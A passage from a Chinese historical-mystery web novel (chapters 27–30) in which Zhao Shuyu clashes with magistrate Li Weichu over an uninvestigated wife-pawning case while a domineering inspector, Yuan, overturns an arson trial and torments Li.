“人证物证摆在眼前,窦扬和春禧是做实了罪名,无从抵赖。既一朝无法将刘世尧拉下马,不如徐徐图之,只要他的贼心不死,就一定还会再有其他的证据……”
说到此处,她不禁想到一件事情。
她走近李惟初一步,灼热而冰冷的目光一瞬不瞬地盯着他看,问道:“那二十七张典妻契呢?这不就是摆在眼前最好的证据吗?”
可在李惟初那幽深而一片死寂的眸子中,他深沉地盯着赵疏玉,而后缓缓吐出三个字。
“赵疏玉。”
再道:“我警告过你。”
27. 李惟初,我不信你了
李惟初的神色在一瞬间由温和变得冰冷,赵疏玉的脚步往旁边挪了挪,并不想搭理他这幅模样。
她不在乎李惟初的神色是否正常,她只想追求自己心中的那道正义。
故而,她并没有开口问为什么,因为她就算是问了,李惟初也不会告诉她。
索性,她淡淡地质问他道:“你难道想让那二十七个女子就这么无缘无故含着冤屈死去吗?”
“李惟初,你可是江南的父母官,你就是这么做官的吗?”
轻描淡写的质问,却好像戳中李惟初内心埋藏最深的痛处。
他上前紧紧攥住赵疏玉的手,一眨不眨地紧紧盯着她的脸,眼中似盛有滔天的怒气。
李惟初压抑着心底而起的怒意,低吼道:“你懂什么。”
赵疏玉却一把挣脱,用一种李惟初很陌生的目光,里面不含任何情绪,甚至对他闪过一丝厌恶。
“你不肯查,是惧怕那背后的势力,还是他们给了你什么好处?”赵疏玉问道,“那盒子中想必就是你不肯查二十七女案的原因吧。”
李惟初攥着赵疏玉的手掌一紧,在赵疏玉平静无波却能洞悉一切的目光中,他逐渐败下阵来。
他微垂着眸,里头不知藏着什么复杂的情绪,如浓墨般肆意翻涌。
他不答,而赵疏玉却继续说了下去。
“你知不知道,你的无动于衷使你成为刘世尧恶意杀死的帮凶,你也是杀人犯。”
她看着他,眯了眯眼睛,激将着使他说出反驳的话来,为证明自己不是杀人犯而决意查案。
可令赵疏玉没想到的是……
李惟初却罕见地没有任何反对,他的眸中闪过一刹挣扎的神色,旋即放下了攥紧她手腕的手,垂在腿的两侧,低垂着眼眸,在昏暗的地牢里,模糊不清,看不见他隐在浓密细长的睫毛下,那道复杂挣扎的眸光。
赵疏玉很想知道他为什么不查这桩案子。
明明那二十七张未婚女子典妻书是最强有力能够证明刘世尧罪行的证据。
为什么,不拿出来。
为什么啊!
她不理解,她真的一点都不理解!
明明李惟初不是那种唯利是图的小人,她记得在沈怀夕死因揭露的那时候,他的眸子中有哀伤,有不忍,有同情,有气愤。
可在这件事情上,他为什么,到底为什么不肯将罪魁祸首绳之以法呢?
赵疏玉在脑中盘算着,却百思不得其解。
他的行为是矛盾的,他的整个人由内而外似乎都压抑着的一种十分强烈的沉重。
“李惟初,我不信你了。”
赵疏玉缓缓开口。
李惟初的嘴唇动了动,他的喉结滚了滚,似乎有什么话即将呼之欲出了,可他最终还是选择了缄默不言,将想说出口的话重又吞回肚子里。
最终,他道:“纵火一案,刘世尧死活咬你不松口,你该如何?”
“不如何。”赵疏玉淡淡地答道:“春禧纵火一事板上钉钉,任谁都无可反驳。刘世尧知道这件事,却还一直死活咬着我不放,你觉得他是什么想法?”
一直以来都是李惟初提问于她,没想到今时今日,竟反了过来。
他思忖,不多时便答道:“今日巡抚将至,他这么做无非就是想拖到巡抚来罢了。”
“所以说,刘世尧的目标并不是要坐实我纵火犯的罪名,他在消磨时间,等着巡抚来给他撑腰。”赵疏玉见惯了这种伎俩,稍微动脑想想便能将个中曲折思索明白。
“你想怎么做?”赵疏玉问他道,默默又远离他几步。
李惟初眸色变深,知她如今心中不忿,他心中略叹一口气,可语气仍是冷淡。
“判春禧与窦扬斩立决。”
简单的一句话,定他人生死。
这或许就是为官者的权利。
人外有人,天外有天,这官场譬如鱼场,大鱼吃小鱼,小鱼吃虾米,虾米却只能依托着水底的泥土,扒拉少许营养物质食下。
赵疏玉点点头,她的适应能力很强,无论是现代还是古代,她早在从那处破烂的院子里醒来,被那些人抓进马车带走的时候就已经适应古代这样残酷的环境。
现代和古代是有区别的,从律法上而言。
可就算是放在现代,恶意火烧二十七宅,也够判个死刑的了。
她道:“那便如此吧。”
半柱香的时间很快过去,不过片刻,堂中又聚集起来。
随着章程,李惟初威严地坐在上首,问着地上跪着的几人,道:“可有何人再辩?”
底下一片寂静无声。
赵疏玉在上堂之前,费了好长劲才拉开周玥揪着周德的手,对他道:“你上堂的时候什么话都不要说,沉默就好了,刘世尧问你什么,你都不要回答,让你证明什么,你也不要说话。”
“为什么?”周德问道。
她解释道:“你上场刚说完我是纵火犯,这场又突然无缘无故反水说我不是纵火犯,任谁听了你的话都会觉得是胡言乱语,或者是县衙对你使了什么手段,迫使你更改口供,届时县衙便是百口难辩,难以服众。”
周德点点头,示意他知道了。
可他又歪着脑袋问赵疏玉道:“可是赵姑娘,如果什么都不说,不也会使刘世尧抓住把柄,会不会以为是县令威胁我……”
话音未落就被周玥打断,她粗犷低哑的声音回荡在整个狱牢中,“什么叽哩哇啦的,赵姑娘说什么就是什么。”
赵疏玉示意周玥先不要太激动,而后又对周德说道:“你说的也有道理,只在堂中你随机应变即可,别让刘世尧抓了把柄一口咬住就行。”
周德在地上磕了一个头,经过方才被周玥的深刻“教育”,如今的他眼神十分坚定。
“是。”
周玥却在周德踏出狱门之前,又眼神警告了他一遍。
该说的说,不该说的把嘴闭好,不要节外生枝,不许说谎冤枉赵姑娘。
周德回望周玥,看见她正紧紧盯着自己,不禁感动得热泪盈眶。
看姐姐的眼睛瞪得多大,她一定是担心死了我。
姐姐你放心,我一定会好好保护自己,一定不会再给赵姑娘添麻烦了。
姐姐对我这么好,我以后一定要加倍听姐姐的话,要让姐姐过上更好的日子呜呜呜。
李惟初见众人都不说话,于是再次将目光转移到周德的身上,沉声问他道:“周德,本官再问你一遍,那日晚上你为何会目睹在火灾现场?”
周德先是头点地行了个礼,而后再直起身说道:“回县令,那日晚上草民喝多了水,半夜时分起夜,却见一宅火光四起,草民好奇,于是悄悄躲在一颗树下偷看。”
他并没有将自己进府想要去拿姐姐文契,想救婉华却没得手的事情说出来。
李惟初点点头,再问:“堂下周德言明自己曾亲眼目睹纵火犯行凶,是否?”
周德再次行了个礼,回答道:“回县令,是。纵火犯用燧石燃起最后的东南角后,便仓皇而逃。”
“你一路跟随,亲眼看见她进入府衙?”
“回县令,是。”
“可能指证?”
周德象征性抬头望了一圈,而刘世尧的脸上却已呈现出如胜利者一般的笑容。
他行礼道:“回县令,那日天太黑,草民只知是个身量纤纤,身材窈窕的女子,似乎与赵姑娘十分相像,但……”
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他仔细看了一眼跪在自己身边的春禧,道:“方才草民只顾着看到赵姑娘,却是没注意身边的春禧姑娘……”
“唔……”他模棱两可道:“似乎也是很像呢。”
一听此言,刘世尧嘴边的笑容瞬间僵住,他狠狠地扭头看向周德,而周德却始终看向赵疏玉的方向,不敢与右边那道冷芒对视。
赵疏玉也微微向他扬了扬下巴,示意他不要害怕。
不过不得不说,周德是个混官场的好料子。
这一番话,既不会觉得是任何人逼迫他不承认,也不会让人觉得自己是被逼承认,说得是滴水不漏,刘世尧想破了脑袋也想不出什么可以按插在他头上来泼李惟初脏水的罪名。
他恨恨掐上周德的臂膀,语气低沉威胁道:“你可别忘了,你姐姐的东西还在我手里!”
李惟初看见他的小动作,直直大力拍了一把惊堂木,冷眼瞧着刘世尧,“肃静。”
刘世尧咬牙切齿地松开手,将头别过一边,心中却在想着报复的方法。
周玥……
呵呵。
他握紧袖子里的东西,脸上露出一抹狰狞的微笑。
我一定要她生不如死!
而他这一满腹恶毒的表情却尽收李惟初眼底。
他眸中闪过一丝极致的厌恶,一只手伏在惊堂木上,一只手放在膝上,紧紧握着拳头。
这种以亲人来作威胁的筹码,实在是令人恶心。
而李惟初正要说什么,门外却传起一阵喧嚣。
一声低沉而又嘹亮中期十足的嗓音穿过重重廊道,未见其人,但闻其声。
语气不怒自威,“这李县令断案可是向来以雷厉风行著称,怎么如今却是畏手畏脚,连一桩简单的纵火案都不会判了?难不成是久不在京城,不得陛下恩泽,故而懒怠懈政了吗!”
好利落的话语!
赵疏玉心中暗自度量道。
话音刚落,门口便出现一道威风凛凛的身影。
他一张大饼脸,脑门有些大,一双眉毛粗犷下垂,眼睛里闪烁着炯炯有神,却包藏祸心的光芒,鼻子很大,鼻梁却佷塌,一张厚厚的嘴唇里吐出来的子像是裹了刀子,刀刀像李惟初飞掷而来。
李惟初眸色一变,他立马站起身躲避刀子的攻击,继而缓缓走下台,来到巡抚的身前。
恭恭敬敬向他长揖道:“袁巡抚。”
他的眸色中闪过一丝痛快与轻蔑,似乎对他这番恭敬而低声下气动作很是满意。
他冷哼一声,却不说免礼,道:“要说这有些人呐,天生下贱,就算爬上枝头做了凤凰,也是德不配位,必有灾祸,迟早要从高枝儿上摔下来,摔得粉身碎骨。”
他故意停顿了一下,去欣赏李惟初脸上的神情。
“你说是不是啊,李县令?”眸中十分戏谑嘲弄地凝视着他。
李惟初的眼帘微垂,鸦羽般乌黑浓密的睫毛微微发颤,却正好遮住了他眼中的眸色,整个人镇定地站在原地,连向他行长揖躬身的手都没抖一下。
“是。”他冷声答道。
袁巡抚见他还是一副风轻云淡,置身事外的神情,心底冷不丁哼了一声。
自觉没什么意思,于是这才道了声,“起身吧。”
他并没有等李惟初直起腰便径直走到上首,一屁股坐到李惟初的位置上,下巴微抬,颇有些傲气地留一丝目光看向李惟初。
一副鸠占鹊巢却引以为荣的得意神态。
似乎作践李惟初,看见他脸上露出一丝一毫地痛苦都极为痛快。
可就算是再怎么痛快,都不能泄他心中之愤!
还不够……李惟初受到的惩罚和痛苦,还远远不够。
28. 李惟初的心结
李惟初一声不吭地站在下首,袖下的手紧紧握拳,仿佛对他方才话语中的恶意充耳不闻。
赵疏玉则在台下静默地看了一场好戏。
巡抚看起来十分厌恶李惟初,话中犀利直奔他而来,言语句句带刀似的刮在李惟初脸上。
而他们暂且推定刘世尧的背后势力是巡抚,那么他今日而来必是要暗帮他脱罪。
果不其然,只见巡抚重重拍了两下惊堂木,将整个厅堂拍得惊天动地,刺耳的声音似乎穿透赵疏玉的耳膜,令她不禁烦躁地皱了皱眉。
下一刻袁巡抚昂着头,只用鼻孔看着赵疏玉及台下诸人。
慢悠悠地玩弄着木筒里的木牌,扫了几眼桌上的物证,眼睛都不带看他们一下,好像是看一眼他们都觉得脏。
“李县令啊,这案子如此简单,你竟畏手畏脚不肯定案,你难道是糊涂了不成?”袁巡抚随意将木牌扔在地上,简单地下令道,“窦扬和春禧斩立决,周德故弄玄虚,着痛打三十大板以省自身,刘世尧、赵疏玉判无罪释放。”
赵疏玉对于他要杖打周德的命令十分不满,但她知道若此时开口,想必会被他当成杀鸡儆猴的鸡,她不会做出头鸟,所以即使心中有怨言,也不得不暂且憋下静待来日。
毕竟在这种地方,谁大谁说话。
言毕,他扔下两块木牌,眼神轻视一圈,道:“即刻行刑。”
春禧与窦扬大哭着被拖了出去,而周德被打三十大板时却是一声不吭,疼晕了过去袁巡抚又示意人泼水。
美名其曰:“这群下贱之人不老实,就该在他们神志清醒地时候好好叫他们痛上一痛,才能铭记教训,以后不敢再犯。”
说罢,他一顿,目光看向李惟初,问道:“你说是不是啊,李县令?”
李惟初的掌心被指甲死死掐出血来,掌心密密麻麻传来的疼痛使他的脑海保持着清醒,才没有在众人面前失态。
他依旧规矩如旧,冷面的脸上没有一丝情感。
冷冷清清地回答道:“巡抚……所言极是。”
而袁巡抚则微微上扬唇角,仿佛就是很喜欢看到李惟初吃瘪,不得不顺从自己的模样。
他紧紧盯着李惟初面上的神色,很是恣意,他冷哼一身,满意地点点头,道:“是嘛,顺从上官,这才是你李县令应该做的事情。”
随后,意味不明地提醒了他一句,“在其位,谋其政。想必李县令也不希望放着大好的前程不要,宁愿去吃馊饭剩菜吧?”
李惟初知道他意有所指,掌心的血顺着指缝缓缓流了下来,可他忽然松开手,血液便附在他的指缝中。
“巡抚……所言极是。”
心中却已是将他恨入骨髓。
那盒子中装着的东西,就是他袁巡抚送来的。
不过也好。
李惟初在心底冷哼一声。
既然活着过来了,就留在这里,让你的尸骨去好好暖一暖我的槐树,它已经很久没有吃过这么肥美的肥料了。
想着,他的眸中露出寒骨的杀意,冰冷的目光看向眼前的地面,可下一刻他便收回那道杀意迸现的目光,依旧淡漠寡言地站在下首。
袁巡抚早在路上时就听过赵疏玉这个女子的名声,他低下头,看着跪在地上的赵疏玉,而她却也在低着头不知在思考些什么。
看样子倒确实是个机敏足智的人。
可是那又怎么样呢?
他想要她死,不过就是一句话的事。
但愿她能识趣,知道什么该做什么不该做,什么该查,什么不能查。
袁巡抚深深地看了一眼她之后,朝地上跪着的两人抬了抬手,冷淡地吩咐道:“起身吧。”
而后他又将目光看向赵疏玉,问道:“不知赵姑娘是何方人士?又是如何进入县衙府的呢?”
赵疏玉的内心咯噔一下,她下意识就往李惟初的那个方向瞥了一眼。
而他正低着头,却是将目光上移,与她对视。
视线相撞,赵疏玉忙收了回来,而李惟初亦是如此。
袁巡抚的方向看来,赵疏玉向李惟初求救,但他并没有搭理她,这倒让袁巡抚感到一丝好笑。
下一刻,位于下首的女子清零动听的声音传入袁巡抚的耳朵里。
“民女不知家住何方,自有记忆起便再没见过父母,颠沛流离,居无定所,只靠食树皮野草过活……幸而得李县令所救,愿给民女一隅之地容身,民女对李县令感激不尽。”
感激不尽……
李惟初听得这四个字眼睛瞬间盯着她看去,仿佛极为不可置信。
上一秒说他是杀人犯,下一秒说自己对这个杀人犯感激不尽?
赵疏玉剜了他一眼,李惟初这才将目光缓缓收回。
真是个无礼的小女娘,就该拿出范来好好治她一顿,让她知晓他这个县令的厉害。
否则任由她无法无天下去,他的威严何在。
哼。
“也就是说……是个孤女?”
说这话的时候,袁巡抚的目光十分奇怪地在赵疏玉的身上上下扫视了两眼,眼中有种莫名的……喜悦,还有一丝……贪婪?
这个人……到底在想什么!
李惟初也注意到了袁巡抚的目光,他蹙了蹙眉,道:“袁巡抚,赵姑娘与刘坊主既已无罪释放,就没有再留他们当堂审讯的道理了。”
潜意思就是:依着规定,应该到放人的时间了。
这时候,外面袁巡抚的人将那三十大板打完了,进来禀报袁巡抚道:“禀报巡抚,三十大板已经完毕。”
袁巡抚点了点头,朝他挥了挥手。
他目光不善地看向李惟初,仿佛刚才他对他的忤逆很是不满。
“李惟初,本官想做什么还需要你来提醒吗?你最好摆清自己的位置,别以为自己还是当年的状元,任朝中要职,势头正盛的太常卿兼谏议侍郎,别做梦了!”
撂下这一句话后,他冷哼一声,拂袖威风离去。
而李惟初听着这一席话低垂着头,大堂之上一片沉寂,周身弥漫着渗人的冰冷,从袁巡抚出言讥讽的那一句开始,他便一直压抑着自己,此刻他走了,李惟初也是想也不想,转身离堂。
他快步向后院走去,脚步罕见地有些凌乱,呼吸也十分急促,整个人似乎即将忍耐到极致。
袁巡抚最后讥讽嘲笑,幸灾乐祸的话语一直回荡在李惟初的脑海里,令他陷入漫长的回忆里去。
[你以为你还是当初那个风光无限的状元郎么?!]
[你以为你还是太常卿兼谏议侍郎吗……别做梦了李惟初,你就是一条丧家之犬。]
[你现在看见我都得低声下气的,你就是一条狗!一条永远卑躬屈膝的狗!]
[下贱的人天生下贱,一辈子都登不得台面,纵然一时得志,也是登高跌重!狂什么?炫耀什么?
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到最后还不是只有对我毕恭毕敬的份!]
为什么会变成这样……为什么……
他为什么会变成这样……懦弱,无能,如同一条夹着尾巴做人的狗!
可他没有做错,没有做错!
他是有原因的啊……
他不是帮凶,不是杀人犯……
不是……不是的!!!
“李惟初!”
回忆的梦魇戛然而止,如同一面镜子猛然四分五裂消失在原地,这道清灵的声音将他拉回现实。
他一怔,身后有一只冰冰凉凉的小手牵住了他,这一刻的冰凉让他焦热的脑袋渐渐冷静下来。
李惟初强壮镇定,沙哑着嗓子回头问道:“怎么了?”
“你的神色很不对,需要我的帮助吗?”
赵疏玉在袁巡抚说完那些奚落李惟初的话后,他的神色就变了,变得和平时十分不一样,她不知道他曾经发生了什么,但她隐隐却觉得这一切都很不对。
她碰上李惟初的手心,可却抓到一片湿黏的液体,她一愣,又感受到他指甲的挖痕,立刻便明白了发生了什么事。
“这里不是说话的地方,我们换……”
“滚开。”李惟初粗暴地一挥袖袍,将赵疏玉的手和他的隔开,一个人默默往前走去,头也没回地冷声道:“我不需要你的安慰,你有多远,就走多远。”
赵疏玉神情复杂地盯着他离开的背影。
而一直跟在李惟初身后的如影就是连呼吸都似乎紧紧憋住了,狠狠降低自己的存在感,若不是如影开口说话,赵疏玉还不知道旁边还站着个人。
“赵,赵姑娘。”如影开口道。
赵疏玉有些惊讶地往旁边一看,如影正神色忐忑,不安地看着她。
他是什么时候来的?
“赵姑娘……主上,似乎是生了大气了。”
赵疏玉皱了皱眉,问如影道:“李惟初之前做太常卿兼议郎的时候,发生了什么事?”
如影却很是牙痛地摇摇头,整个人几乎快碎在原地了。
“赵姑娘,属下是由维寻从招募来的,那时候主上就已经是江南县令了,江南一带的人对主上在京城发生的事情都不太清楚……有几个知道内幕的也只知道主上触怒龙颜,险些丧命,被贬京城数百公里。”
如影顿了顿,继续道:“至于主上因何被贬……属下,属下确实不知,但是维寻是一直跟在主上身边的人,他或许知道内情。”
“只不过维寻此人性格沉闷,或许不会告知姑娘内情。”
赵疏玉点点头,她道:“我知道,毕竟我和你们相处半年不到,哪就能将信任托付给我……不过今天是袁巡抚到临的日子,按照你们大吴的礼仪规章,若是下级不办接风宴,会怎么样?”
如影正担心的就是这个,他苦笑一声道:“若是谏院那群官员得知,有心之人必会参主上一个不敬之罪,可是如今……主上正在气头上,属下,属下实在是不敢啊。”
“……我知道了。”赵疏玉叹了一声。
她也不知怎的,对李惟初身上怀揣着的秘密感到尤为好奇,似乎遮盖着一块神秘的面纱诱惑着她亲手抽丝剥茧,层层拨开迷雾,见到里头的真相。
而李惟初的秘密,究竟是什么。
他又为什么会一朝由尊贵风光的状元郎,朝中炙手可热的太常卿兼议郎,贬成一个小小的县令,被别人骑在脖子上拉屎。
29. 忍到极限
日头正盛,此时正是艳阳高照,正午当头。
虽是夏末迎接新秋,可正午的太阳光照在身上却并不觉得丝丝凉意,反而祛除夏天的燥热沉闷,微风拂面,更觉沁爽。
赵疏玉抬头望了望天,眸中不知夹杂着多少情绪。
净寄天地,还清风微芳。
她敛了敛眸,脑海中不禁回想起她与李惟初的初遇。
不算太美好,甚至是个不愿想起的乱葬岗夜晚。
那时候的他,在马车里究竟吩咐了维寻什么,又为什么要去搜山,搜山的目的不就是为了再多抓几个像她这样从某个废弃的院子里逃出来的姑娘吗?
而抓她们,又是为了什么呢?
一茬接一茬的疑问太多,赵疏玉一时间竟不知该从何梳理了。
若说纵火一案是浅层可视的,那么二十七女案就是不可视,隐藏着的。
李惟初只动手查纵火案,却不查二十七女案,说白了,不就是不敢查典妻案吗?
而他不敢查……是不是因为知道巡抚快来了,不好动作太大惹人猜忌呢?
毕竟巡抚来势汹汹,直奔江南,任谁会觉得他用心良好?
说不定,等巡抚彻底走了,李惟初才能着手进一步去查呢?
现在最大的目标就是将巡抚想法弄走。
可该用什么办法把他轰出江南呢?
他这样目空一切,不把任何人放在眼里的袁巡抚,究竟,又是谁给他的胆子呢?
他很讨厌李惟初,这究竟,又是为什么呢?
赵疏玉有的时候真的很无助。
一个人莫名其妙地穿进这个该死的破封建里,又孤零零地靠着头脑风暴一个个推断……
她无所谓,可这具可怜巴巴小孤女的身体可受不了。
她的脑海里疯狂转圈思索,不知不觉间,竟已至书房。
她在门口轻轻敲了两声,心中敲定着第三下之后不管他有没有回答,自己都一定会进去。
可在她刚敲第三下的时候,里头传来沉闷的声音。
“进来。”
赵疏玉推门而入。
映入眼帘的桌案上分尘不染,干净无暇,红木质桌案上整整齐齐叠放着堆成小山似的奏案。
可李惟初的面前却并没有打开奏案,空空如也。
他坐在椅子上,眼神似有一瞬间的恍惚,可只在一瞬后他又恢复成往常申请冰冷,拒人于千里之外的模样。
“你来做什么?”
语气不善地问道。
“自然是来……解决问题。”赵疏玉停顿了一下。
她并不会开口说,‘我是来安慰你的’这样的话,她觉得这样的话显得十分别扭,肉麻,说不出口。
当然,事情解决之后,就不会再有情绪了。
“不需要。”李惟初淡淡地开口,拒绝道,“你走吧。”
顿了顿,又道:“我送你去长清那儿,以后不要再踏足这里了。”
“为什么?”赵疏玉十分不解。
李惟初为什么再一次提出这个话题。
上次,是自己质问他的时候,他无可奈何地说出这样的话,她以为是李惟初故意揶揄嘲笑她是个逃兵才说出这样的话来。
可现在,她什么都没说,李惟初为什么又会说出这样的话。
她干脆不答,无视这句话,自顾自生硬地转了个话题,说道:“你们大吴礼仪中是不是有一条宴请……”
“疏玉。”李惟初终于抬头看她了,可那双眸子中却含藏着赵疏玉看不懂的情绪。
哀恸,悲伤,痛苦……
还有更多,十分复杂。
“沈怀夕不是被那几个人弄疯的……是刘世尧,准确来说是他身后势力干的。”
“安陵为什么会容许自己的妻子交给别人作践糟蹋?是因为……”
“她早就没有任何价值了。”
李惟初艰难地启唇,嘴唇一张一合地道:“她的身子坏了,生不了孩子,安陵想将她丢掉青楼,可老鸨见她神色疯癫,不愿收她,没办法,他只好一次又一次地将沈怀夕典出去,卖钱。”
“可谁会要一个身子残缺的女子呢?于是大多都只一次,厌烦后就丢弃了。”
“沈怀夕永远都出不去,你知道为什么吗?”
赵疏玉心底一惊,脑中回想起她自缢前的那句话。
[我永远都出不去,永远都出不去……]
这句话到最后化成撕心裂肺地痛嚎,如今想来,实在是令人寒毛直竖。
“刘世尧背后的人将命刘世尧将她关起来,免得她风言风语说出什么话来。可是若在我眼皮子底下动手杀人……所以,他将她关到一个没有任何一个活人会去的地方——乱葬岗。”
赵疏玉明白了个中曲绕后,道:“所以我那日会碰见你,你早就在找沈怀夕,是吗?”
李惟初不言语。
“可是为什么呢?”
李惟初还是不说话。
“疏玉……”他终于开口了。
李惟初站起身。
一身绛紫色衣袍松松垮垮地披在肩上,唯有周正的发冠依旧竖立在头顶,一根青玉玉簪插好,堪堪维持住他礼仪的得体。
可看在赵疏玉的眼里,这样的他,有一种实在说不出口的感觉。
感觉是将痛苦、柔和与冰冷砸碎了揉成一体组成了他现在的样子。
她不解地看着他一步步朝自己走来,她不动声色地往后退了几步。
她不喜欢别人这么一声不吭地接近她,会有种下意识拉起警戒的想法。
“你……”
“我不想你再受到伤害了。”
“为什么?”
“因为我不能再看到任何一个人,再为这件事情,流血。”李惟初说这话的时候,眼神黯淡无光,袖下的拳头却紧紧握起,似是在强忍着什么情绪。
“所以,听话好吗?去长清那里,他会护着你……”
“他能,为什么你不能?”赵疏玉反问道。
“我……”李惟初语言一滞,他无奈地摇摇头,笑道,“不行。”
“你怎么突然变得这么畏手畏脚的?是因为袁巡抚吗?”
“隔墙有耳。”
赵疏玉也是一滞。
她瘪瘪嘴,耸了一下肩道:“李惟初,你以为你一直压着不查,就没有人再为此流血了吗?那些被典去的未婚女子,还在因为你的忽视而挣扎于龙潭虎穴,她们在日夜流血。”
“可我有什么办法!”李惟初忽然重重锤了两下桌子,怒问道,“这不是你该管的事情。现在,立刻,马上,去收拾行礼。”
“行礼?”赵疏玉勾了一下唇,道,“我有什么行礼?别忘了,我是个孤女。我没有家,没有钱财,什么都没有,你让我去裴长清那里,他能怎么照顾我?我已经十六了,难道为我物色一门好亲事,让我嫁过去然后再替我撑腰?”
“忘掉那些枉死的女子,忘记这里曾经发生过的一切?让我生儿育女就这样草草过一辈子么?”
“李惟初,这不可能。”赵疏玉紧紧握住拳头,道,“我不可能受你摆布。”
说罢,她再不看李惟初一眼,只扔下一句,“你要是不想被那些谏院的人弹劾,我建议你,按你们大吴的礼仪好好招待远道而来的‘客人’。”
“疏玉……”
他想拦住她的手悬在了半空,过了半晌他又垂回两侧。
“我只是……想保护你。”
“尽我最后的一
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丝力量,保护你。”
“我不想让你再步入她的后尘,我受不了再有人因为我而死了。”
赵疏玉并不知道他的内心独白,但就算她知道,她也不会抛弃这里的一切去过她的安稳日子。
李惟初不知道的是,赵疏玉从来都是一个不怕死的人。
而袁巡抚却在赵疏玉走后不久越过书房的门槛走到李惟初的身前。
略带讽刺地一笑,“这是出好戏,瞧瞧,这把美人儿都给气走了,县令大人这哄女人的招术,还是不精啊……嗯?”
李惟初却连笑都挤不出来,干巴着一张脸,冷淡地盯着袁巡抚。
“袁群毅,你够了!”
“够?怎么够?”袁巡抚走上前死死掐住李惟初的脖子,笑着顺带提醒他一句,“李县令,你若是敢反抗,不小心弄伤了本官,那本官就向圣上告你一个藐视上官,不敬圣上的罪名,你说,这次还有没有人救你!”
李惟初眼若飞刀一般刺向袁群毅眸中的轻蔑,可他的笑意却更甚。
“怎么样?是不是特别生气?是不是生气到恨不得一刀捅死我,嗯?”
看着李惟初的脸色,袁群毅的心里感到十分舒坦。
“李惟初,你做那件事的时候,有没有想过你还有今日。”
“李某做事,向来只求一个问心无愧!”
“好一个问心无愧!”袁群毅松开了他的脖子,大声地鼓了鼓掌,可这掌声里讽刺意味不知繁几。
“看看你的问心无愧,都让你变成什么样了?嗯?”
“你身边的那些人有还有几个还活着,嗯?”
“他们都被你所谓的问心无愧给整死了,还觉得自己清白无辜吗?”
“你要牢牢记住她是被你害死的……所以,我当然不会让她过一天好日子。”
袁群毅呵呵低笑了一声,问道:“你让你那好兄弟暂拖我几日,可我送你的东西可看见了?”
“……”
袁群毅却不顾他的回答,只一屁股坐在桌案前的蒲团上,玩弄着他笔筒里的毛笔,好整以暇道:“是那边让我送来给你的礼物,你应该知道要怎么做吧?嗯?还需要我再帮你好好回忆回忆吗?”
“……滚。”
“嘶……”袁群毅一挑眉,十分乐意看李惟初不痛快的神情。
他不痛快,袁群毅就简直痛快得要死。
“这只是给你一个警告,别以为那边远在京城就对你的所作所为一概不知,别以为你自己很聪明,瞒得了谁呢?”
说完这句话后,袁群毅便拍拍屁股,站起身准备走了,可临走时似乎又想到什么,他回头对李惟初说道:“你虽然远在江南,可大吴的规矩你应当知道吧?对待上级官员,你应该做什么,也不用我再多说了吧?”
李惟初连一个眼神都不想分给他,而袁群毅却很强硬一定要听到他的回答。
略带警告意味地眯了眯眼,道:“李县令难道是要我好好帮你回忆一下大吴的礼仪律令吗?”
李惟初深吸了一口气,强忍着心底的怒意,骨节发白,方有些凝固的血痂此刻又被他挠破了开来。
他张开唇,一字一句地回道:“是。”
袁群毅冷哼一声,转身走了。
一室之内,寂静的书房里好似连根针掉落的声音都能听见。
“啪”地一声,一个笔筒飞了出去,笔稀里哗啦地砸落一地,紧接着白色蒲团也跟着飞了出去。
袁群毅……
李惟初的耐心在这一刻忍到极致,他重重地一拳锤到红木质的桌案上。
“啪嗒”一声,被他锤到的部位往下凹陷,中间也裂开一道大口子,唯有两边重量对等的奏案维持着颤颤将倾的桌案。
去死。
30. 设计赌坊
在无人在意的门后,一片黑色衣角悄然飘过。
“赵姐姐,你怎么现在才回来啊,饭都冷了……”锦夏嘟了嘟嘴,她笑着挽住赵疏玉的衣袖,拉着她走到饭桌前坐下。
一碗冒着热气腾腾的饭在赵疏玉眼前,旁边整齐地摆放了一双筷子。
“不过还好,我将饭菜热了一热,等着赵姐姐回来呢。”
锦夏唇角勾勾,露出两颗小虎牙,笑得很灿烂。
赵疏玉看着她的笑容,脑中不禁弹出一张满怀着笑意的脸蛋。
他的脸上满是灰尘,却遮不住脸上欣喜满意的笑意。
‘疏玉姐姐,你好厉害!你竟然考上了市里最好的高中哎!’
他激动地手舞足蹈,拉着赵疏玉给她买了一个牛肉煲。
脏兮兮的红袋子里是他不多的积蓄,但他在和店员交易汉堡的时候,笑意却更浓。
他笑着递给赵疏玉。
‘这是阿余送给疏玉姐姐的奖励。’
‘祝姐姐前程似锦。’
‘对了姐姐,你有什么梦想吗?’
‘是想当老师,还是律师啊?’
赵疏玉将牛肉煲一撕两半,将肉多的一方递给了阿余。
看到他问自己,她却是愣在原地。
我吗?
我没有什么梦想。
“赵姐姐,你走神了吗?”锦夏一双亮晶晶的双眸含着笑意看向赵疏玉。
她的心思一直藏得很深,轻易不会在任何人面前表露出情绪。
“赵姐姐,我刚才看你似乎很伤心……是县令他叱骂姐姐了吗?”
“县令他……”
赵疏玉摇摇头,将脑中的那一丁点思绪甩出脑外。
而后扯出一个不算太标准的笑容,道:“没有,吃饭吧。”
“哦……”锦夏嘟着小嘴,一声不吭地吃着饭。
赵疏玉将筷子放下,神色严肃对锦夏道:“锦夏,县令并没有对我做什么,我只是想到了一些旧事。”
“旧事?”锦夏抬头看向赵疏玉,“嗯……好~”
赵疏玉点了点头,又埋头吃饭。
锦夏抿了抿唇,扔却笑着,她率先将碗里的饭全都划拉完,而后很殷勤道:“赵姐姐,我来收碗筷吧~”
赵疏玉正巧也将最后一粒米吃下,刚想说什么,就见凉丝走了进来。
向赵疏玉行礼后便道:“周德被袁巡抚赶出去了。”
锦夏知道他们要谈事,于是迅速地将碗筷收拾下去,很有眼力见地给足他们空间。
赵疏玉脑中迅速转着,想定后道:“他被打了三十大板,受了重伤,是最需要郎中治疗的时候……”
想着,她转身走进内室,将一个棕色的袋子打开,拿了一把银子,而后将银子塞进凉丝的怀里,她道:“这些银子是我在赌坊里赢来的,你先拿去给他治伤,不够再来找我。”
凉丝接过银子的时候顿了一下,他开口刚想说什么,赵疏玉却先开口问道:“你家主子怎么样了?”
凉丝黑黝黝的瞳孔动了一下,他看了一眼赵疏玉,转了一下眼球道:“主上动了大怒,扔了好多东西,午膳一口也没动。”
她知道李惟初扔了东西,而且还是在看他扔完之后才走。
“算了。”
他爱咋咋地吧。
赵疏玉点了点头,问凉丝道:“是李惟初让你来告诉我周德被袁群毅赶出府的吗?”
凉丝迟疑了一下后点了点头。
“想来,你家主子想告诉我的也不知是这样吧。”
凉丝惊讶地看了一眼赵疏玉。
她的面色平静,瘦弱的小脸上有了些肉,可看去还是有些单薄。
